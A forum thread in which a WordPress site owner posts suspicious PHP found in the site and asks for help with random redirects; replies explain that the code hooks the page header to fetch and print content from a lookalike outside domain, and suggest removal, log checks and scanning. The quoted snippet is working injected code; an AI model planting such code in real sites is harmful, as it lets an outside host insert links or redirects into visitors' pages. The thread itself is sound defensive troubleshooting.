Register Advertise with usHelp Desk Today's Posts Search

Closed Thread
Thread Tools Search this Thread
Unread 13th May 2013, 08:35 PM   #1
Active Warrior
 
Join Date: 2012
Posts: 49
Thanks: 13
Thanked 3 Times in 3 Posts
Arrow
Site got hacked please help to confirm
Share on: 
fb share twitter share gplus share more share

Hello

My site is redirecting at random times to a parked domain.

After doing some reseach I found out that this code might be doing it:

Code:
function wp__head() {
 if(function_exists('curl_init'))
 {
  $url = "http://www.jqury.net/?1"; 
  $ch = curl_init();  
  $timeout = 10;  
  curl_setopt($ch,CURLOPT_URL,$url); 
  curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); 
  curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']);
  curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); 
  $data = curl_exec($ch);  
  curl_close($ch); 
  echo "$data";
 }
}
add_action('wp_head', 'wp__head');

Can some one tell me what this code does and if this the root of the problem.

Thank you
victorsh is offline  
Unread 14th May 2013, 05:28 AM   #2
Active Warrior
 
Join Date: 2012
Posts: 50
Thanks: 4
Thanked 9 Times in 9 Posts
Default
Re: Site got hacked please help to confirm
Share on: 
fb share twitter share gplus share more share

That is for sure something you don't want to have. So remove that code instantly. It looks that it is safe to remove because function wp__head() is added by WP hook.

When you visit URL www . jqury . net/?1 than in HTML source you will see set of html links. That links are injected into your HTML header. But it not have any code to redirect to that domains so you need to keep loking for other bad code if removing will not help as I am afraid.

Good luck.

Tom
RenardNET is offline  
The Following User Says Thank You to RenardNET For This Useful Post:
Unread 14th May 2013, 05:32 AM   #3
Active Warrior
 
Join Date: 2012
Posts: 50
Thanks: 4
Thanked 9 Times in 9 Posts
Default
Re: Site got hacked please help to confirm
Share on: 
fb share twitter share gplus share more share

Ohh, and tell us in what WP theme or plugin you found this code so people will know what to avoid.

Tom
RenardNET is offline  
The Following User Says Thank You to RenardNET For This Useful Post:
Unread 14th May 2013, 06:15 PM   #4
Warrior Member
Registered Member
 
Join Date: 2013
Posts: 10
Thanks: 0
Thanked 2 Times in 2 Posts
Default
Re: Site got hacked please help to confirm
Share on: 
fb share twitter share gplus share more share

If you have access to your own server and can view PHP and webserver logs, look at which files are using cURL and sending requests. It should be pretty simple to find the files that you need.
P4tch is offline  
Unread 14th May 2013, 10:45 PM   #5
Svetoslav Marinov (SLAVI)
 
Join Date: 2011
Posts: 211
Thanks: 20
Thanked 27 Times in 26 Posts
Default
Re: Site got hacked please help to confirm
Share on: 
fb share twitter share gplus share more share

I'd export my site/blog's contents and reinstall it from scratch.

Was your WordPress up-to-date?
Did you use some cracked/hacked premium plugins?

This script basically attaches itself to something called hook in WordPress terms which is basically an event. So when wordpress is about to output the page header it will actually output the contents coming from the mentioned site.

Are you using WordPress? Have you tried qSandbox yet?
lordspace is offline  
Unread 15th May 2013, 11:12 PM   #6
Graphics, PHP, .Net, Html
War Room Member
 
WebdevelopmentGroup's Avatar
 
Join Date: 2011
Location: New York, NY
Posts: 2,176
Thanks: 199
Thanked 170 Times in 132 Posts
Default
Re: Site got hacked please help to confirm
Share on: 
fb share twitter share gplus share more share

Yes your being hacked..did you get it sorted out? give me a call ill fix it up..

WebDevelopmentGroup NYC & CA- Small Business Web Development, App Development, WordPress Development, Graphic Designs, Online Marketing, Local Marketing & more!. "Call us 1.800.219.1314 or message us!". Visit us today! "Now On Live Chat Mon-Fri.". www.WebDevelopmentGroup.org
(Whitelable our Services)
===================================
==> #1 OFFLINE MARKETING FORUM ON THE WEB! <==
www.OFFLINEMARKETINGFORUM.com
(Register Now)
WebdevelopmentGroup is offline  
Unread 16th May 2013, 06:26 AM   #7
ɹoıɹɹɐʍ ǝʌıʇɔɐɹǝdʎɥ
War Room Member
 
RobinInTexas's Avatar
 
Join Date: 2008
Location: Texas
Posts: 2,138
Thanks: 243
Thanked 453 Times in 382 Posts
Blog Entries: 3
Lightbulb
Re: Site got hacked please help to confirm
Share on: 
fb share twitter share gplus share more share

It's a hack apparently designed to appear normal, perhaps part of something more complex than what appears. It's adding a new function that is similar to a stock "wp_head" "wp__head" is new.

I would suggest installing Wordfence plugin and having it scan your site.

It's scan does the following (and more)
  • Comparing core WordPress files against originals in repository
  • Comparing open source themes against WordPress.org originals
  • Comparing plugins against WordPress.org originals
  • Scanning for known malware files
  • Scanning file contents for infections and vulnerabilities
  • Scanning files for URLs in Google’s Safe Browsing List
  • Scanning posts for URL’s in Google’s Safe Browsing List
  • Scanning comments for URL’s in Google’s Safe Browsing List
  • Scanning for old themes, plugins and core files

You have to edit the options after installation, as the default scan doesn't check a couple of vital items.

It will also protect your site from other bad things.

Robin


...Even if you're on the right track, you'll get run over if you just set there.
RobinInTexas is offline  
Closed Thread


Bookmarks

Tags
confirm, hacked, site


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are Off




All times are GMT -6. The time now is 07:21 AM.